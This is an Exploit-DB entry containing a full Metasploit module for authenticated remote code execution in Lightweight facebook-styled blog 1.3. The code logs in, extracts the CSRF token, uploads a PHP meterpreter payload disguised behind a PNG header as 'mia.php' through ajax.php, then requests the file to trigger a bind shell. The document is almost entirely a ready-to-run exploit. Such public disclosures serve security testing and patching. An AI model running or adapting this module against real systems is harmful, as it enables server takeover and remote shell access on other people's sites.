Exploit-DB #50064
Description: Lightweight facebook-styled blog 1.3 - Remote Code Execution (RCE) (Authenticated) (Metasploit)
Type: webapps
Platform: php
Date: 2021-06-25
Author: Maide Ilkay Aydogdu

Exploit:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Lightweight facebook-styled blog authenticated remote code execution",
      'Description'    => %q{
        This module exploits the file upload vulnerability of Lightweight self-hosted facebook-styled PHP blog and allows remote code execution.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Maide Ilkay Aydogdu <ilkay@prodaft.com>' # author & msf module
        ],
      'References'     =>
        [
          ['URL', 'https://prodaft.com']
        ],
      'DefaultOptions'  =>
        {
          'SSL' => false,
          'WfsDelay' => 5,
        },
      'Platform'       => ['php'],
      'Arch'           => [ ARCH_PHP],
      'Targets'        =>
        [
          ['PHP payload',
            {
              'Platform' => 'PHP',
              'Arch' => ARCH_PHP,
              'DefaultOptions' => {'PAYLOAD'  => 'php/meterpreter/bind_tcp'}
            }
          ]
        ],
      'Privileged'     => false,
      'DisclosureDate' => "Dec 19 2018",
      'DefaultTarget'  => 0
    ))

    register_options(
      [
        OptString.new('USERNAME', [true, 'Blog username', 'demo']),
        OptString.new('PASSWORD', [true, 'Blog password', 'demo']),
        OptString.new('TARGETURI', [true, 'The URI of the arkei gate', '/'])
      ]
    )
  end



  def login

    res = send_request_cgi(
      'method'    => 'GET',
      'uri'       => normalize_uri(target_uri.path),
    )


    cookie = res.get_cookies
    token = res.body.split('":"')[1].split('"')[0]
    # token = res.to_s.scan(/"[abcdef0-9]{10}"}/)[0].to_s.tr('"}', '')
    print_status("Got CSRF token: #{token}")
    print_status('Logging into the blog...')
    res = send_request_cgi(
      'method'    => 'POST',
      'uri'       => normalize_uri(target_uri.path, 'ajax.php'),
      'headers' => {
        'Csrf-Token' => token,
      },
      'cookie' => cookie,
      'data'      => "action=login&nick=#{datastore['USERNAME']}&pass=#{datastore['PASSWORD']}",
    )

    if res && res.code == 200
      print_good("Successfully logged in with #{datastore['USERNAME']}")
      json = res.get_json_document
      if json.empty? && json['error']
        print_error('Login failed!')
        return nil, nil
      end
    else
      print_error("Login failed! Status code #{res.code}")
      return nil, nil
    end

    return cookie, token
  end


  def exploit
    cookie, token = login
    unless cookie || token
      fail_with(Failure::UnexpectedReply, "#{peer} - Authentication Failed")
    end

    data = Rex::MIME::Message.new # jWPU1tZmoAZgooopowaNGjRq0KhBowaNGjRqEHYAALgBALdg7lyPAAAAAElFTkSuQmCC
    png = Base64.decode64('iVBORw0KGgoAAAANSUhEUgAAABgAAAAbCAIAAADpgdgBAAAACXBIWXMAAA7EAAAOxAGVKw4bAAAAJElEQVQ4') # only the PNG header
    data.add_part(png+payload.encoded, 'image/png', 'binary', "form-data; name=\"file\"; filename=\"mia.php\"")
    print_status('Uploading shell...')
    res = send_request_cgi(
      'method'    => 'POST',
      'uri'       => normalize_uri(target_uri.path,'ajax.php'),
      'cookie' => cookie,
      'vars_get' => {
        'action' => 'upload_image'
      },
      'headers' => {
        'Csrf-Token' => token,
      },
      'ctype'     => "multipart/form-data; boundary=#{data.bound}",
      'data'      => data.to_s,
    )

    # print_status(res.to_s)
    if res && res.code == 200
      json = res.get_json_document
      if json.empty? || !json['path']
        fail_with(Failure::UnexpectedReply, 'Unexpected json response')
      end

      print_good("Shell uploaded as #{json['path']}")
    else
      print_error("Server responded with code #{res.code}")
      print_error("Failed to upload shell")
      return false
    end

    send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, json['path'])}, 3
    )
    print_good("Payload successfully triggered !")
  end
end